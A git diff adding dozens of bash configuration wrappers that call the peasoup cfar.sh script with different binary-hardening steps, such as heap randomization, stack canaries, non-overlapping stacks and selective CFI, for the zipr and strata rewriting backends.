diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDSX_probSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDSX_probSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b856525f292a54c5fa6697588be5647ef6a93981
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDSX_probSI_phase1_zipr.sh
@@ -0,0 +1,12 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+#
+# The calling script is responsible for setting up the options for duck_season
+#    --json 
+#    --imagename
+#    [ --xor ]
+#
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step duck_season=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step initialize_stack=on --step-option initialize_stack:"--initvalue $$" --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on  --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive --step-option duck_season:--xor 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDS_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDS_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..98a6f6021df1b32dcfc6ff21f33bb6431d47f52b
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDS_phase1_zipr.sh
@@ -0,0 +1,12 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+#
+# The calling script is responsible for setting up the options for duck_season
+#    --json 
+#    --imagename
+#
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step duck_season=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on  --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b2f3005f3413cb5e73c8b96d1e1b996a0f49c199
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probSI_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step initialize_stack=on --step-option initialize_stack:"--initvalue $$" --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on  --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNoh_probIlr_probP1_probHeaprand_probNos_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probNoh_probIlr_probP1_probHeaprand_probNos_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..63f9fcd277c8b897a2d5ace24ab532d7d8aab6d3
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNoh_probIlr_probP1_probHeaprand_probNos_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step non_overlapping_stack=on --step ilr=on --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a3e5157e26ccf7ccabe9f58ce4f1bceacb032d1b
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probIlr_probP1_probHeaprand_probNos_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probIlr_probP1_probHeaprand_probNos_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..947add2b56895b6d8b8bf05de318c438d52ee73c
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probIlr_probP1_probHeaprand_probNos_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+# nol, noh not set here, passed only to gen_mvee_config.
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step non_overlapping_stack=on --step ilr=on --step p1transform=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on --step noh=on --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probNos_probBilr_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probNos_probBilr_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..5bad90d8ae05bd65328403912ea270c9b270734b
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probNos_probBilr_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step non_overlapping_stack=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --config_name $(basename $0 .sh|sed "s/cfar_//") --step noh=on --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..2aee260214d5d0b0d46ba8d9390a8ccd1dc4c389
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNol_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --config_name $(basename $0 .sh|sed "s/cfar_//") --step noh=on --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNos_probBilr_probP1_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNos_probBilr_probP1_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..25e97f3146aff988dc55d66f33f20f5885155130
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNos_probBilr_probP1_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNos_structNoc_structP1Canaries_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..482ed7caed2e0d5ad5d994069ee41fa460ec7e87
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_noc --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probP1FloatingCanary_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probP1FloatingCanary_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..941fbf768d7dd9ed6f735a3e0b43bc38584474ec
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probP1FloatingCanary_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step p1transform=on --step-option p1transform:"--canaries=on --floating_canary" --step-option zipr:"--zipr:seed $$" --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probP1_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probP1_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..eea0751c163b2cc7334ee33c825b8b23d0a4d412
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probP1_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+SPASM_SEED=$$ $PEASOUP_HOME/tools/cfar.sh "$@" --step p1transform=on   --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probP1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probP1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..4dc8ab5672ef42b247e81563d30e5786b3d7626a
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probP1_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step p1transform=on --step-option zipr:"--zipr:seed $$" --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_scfi_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_scfi_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..71ac65b24e87b177f03e0f00e690d0d219a69cc6
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_scfi_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step-option move_globals:--cfi --step selective_cfi=on --step-option selective_cfi:--multimodule --step-option fix_calls:--fix-all  --backend zipr --step-option move_globals:-d --step-option move_globals:.interp
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a127cdaec0101f193a29bf8bba08374cd0a2ed23
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_probHeaprand_zipr.sh
@@ -0,0 +1,4 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --step-option zipr:"--large_only:on true" --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_probP1_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_probP1_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..9b6a0fb765ff3c5ab60a4903f1b10c3e9fcde30e
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_probP1_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --step-option zipr:"--large_only:on true" --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_probP1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_probP1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..7e1e440c6289beaee2741f67e0f8d79cd879b4ad
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_probP1_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --step-option zipr:"--large_only:on true" --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNoh_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNoh_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..59b22d3fb731fb2088e521534e53f3a2f46d2229
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNoh_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --step-option zipr:"--large_only:on true" --config_name $(basename $0 .sh|sed "s/cfar_//") --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_structNol_structNoh_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_structNol_structNoh_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..944f4716648395f28ef263cd76cc23ba3a2dbe93
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_structNol_structNoh_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_structNol_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_structNol_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..efb86807add0367a9be6f91d269eadd72292973e
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_structNol_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..eadecbe8835544ee14e8f8c36e9fb05aa2b3ae56
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structNos_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_probBilr_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_probBilr_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..dd7d181c68595a54c03056d63b82ca57c57be960
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_probBilr_zipr.sh
@@ -0,0 +1,11 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+echo NOC+Bilr generates working binaries, but Bilr is not yet applied.  Avoid this config for now.
+exit 1
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --structured_noc --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
+
+
+# --step-option zipr:"--zipr:seed $$" 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ae96daea0eff177e9b1a986c2560083247b3adf9
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNog_probHeaprand_structSS_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNog_probHeaprand_structSS_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..828bf10be09a32d932ce36422efbd10b9aa7a65b
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNog_probHeaprand_structSS_zipr.sh
@@ -0,0 +1,13 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr \
+	-c p1transform=on \
+	-c stack_stamp=on \
+	-c move_globals=on \
+	-c diehard=on \
+	--structured_heap --structured_noc --structured_nog --structured_stack_stamp --structured_p1_canaries  \
+	--step-option zipr:"--zipr:seed $$" --step-option zipr:"--large_only:on true" \
+	--step-option zipr:"--large_only:nog_on true" \
+	--step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive \
+	--config_name $(basename $0 .sh|sed "s/cfar_//") 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNog_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNog_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..8c63cc8d668230395d0b05fac7be6f75cb69df99
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNog_probHeaprand_zipr.sh
@@ -0,0 +1,12 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr \
+	-c p1transform=on  \
+	-c move_globals=on  \
+	-c diehard=on  \
+	--step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --step-option zipr:"--large_only:on true"  \
+	--structured_p1_canaries  --structured_nog  \
+	--step-option zipr:"--large_only:nog_on true"  \
+	--step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive \
+	--config_name $(basename $0 .sh|sed "s/cfar_//") 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNos_structNol_structNoh_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNos_structNol_structNoh_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..e94b8402b78a53818e97a65266a448f2f93b2aa4
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNos_structNol_structNoh_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on --structured_p1_canaries  --step p1transform=on  --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNos_structNol_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNos_structNol_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d4a92f86f829e2d21982d62726cee6c13eb854ce
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structNos_structNol_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on --structured_p1_canaries  --step p1transform=on 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structSS_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structSS_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b06cd3f56fce16b338e1f9cc3a283e07700e4362
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_structSS_probHeaprand_zipr.sh
@@ -0,0 +1,10 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" \
+	--backend zipr --structured_noc --step-option zipr:"--zipr:seed $$" --step-option zipr:"--large_only:on true"  \
+	--step p1transform=on  --structured_p1_canaries  \
+	--step stack_stamp=on --structured_stack_stamp \
+	--step diehard=on  --structured_heap  \
+	--config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a293667b3f61fa4c80489a453b042c210bd65c32
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1Canaries_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1FloatingCanaries_structNos_structNol_structNoh_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1FloatingCanaries_structNos_structNol_structNoh_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..30b741a4023cecde236f09619b77725d76ac73c4
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_structP1FloatingCanaries_structNos_structNol_structNoh_zipr.sh
@@ -0,0 +1,10 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+if [ ! -z $NO_FLOAT ];
+then
+	$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on --structured_p1_canaries  --step p1transform=on  --step noh=on
+else
+	$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on --structured_p1_canaries --step p1transform=on  --step noh=on --step-option p1transform:"--floating_canary"
+fi
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoc_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoc_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..46c4927531af6951aae0f9b0fde5a7098310f166
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoc_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --step-option zipr:"--large_only:on true" --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..113b15f6b37407167ce8f137e4abeea0946822ed
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step xor_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_structDSX_structSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_structDSX_structSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..c91ee4764bda1b4da43191b30b056f6532bc1905
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_structDSX_structSI_phase1_zipr.sh
@@ -0,0 +1,7 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step duck_season=on --step initialize_stack=on --structured_stack_init --structured_ds --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step xor_globals=on --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive --step-option duck_season:--xor 
+
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_structSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_structSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..35fe2dcbf1034a59d4630a4bd304419aaccd913c
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOFX_structSS_structSI_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
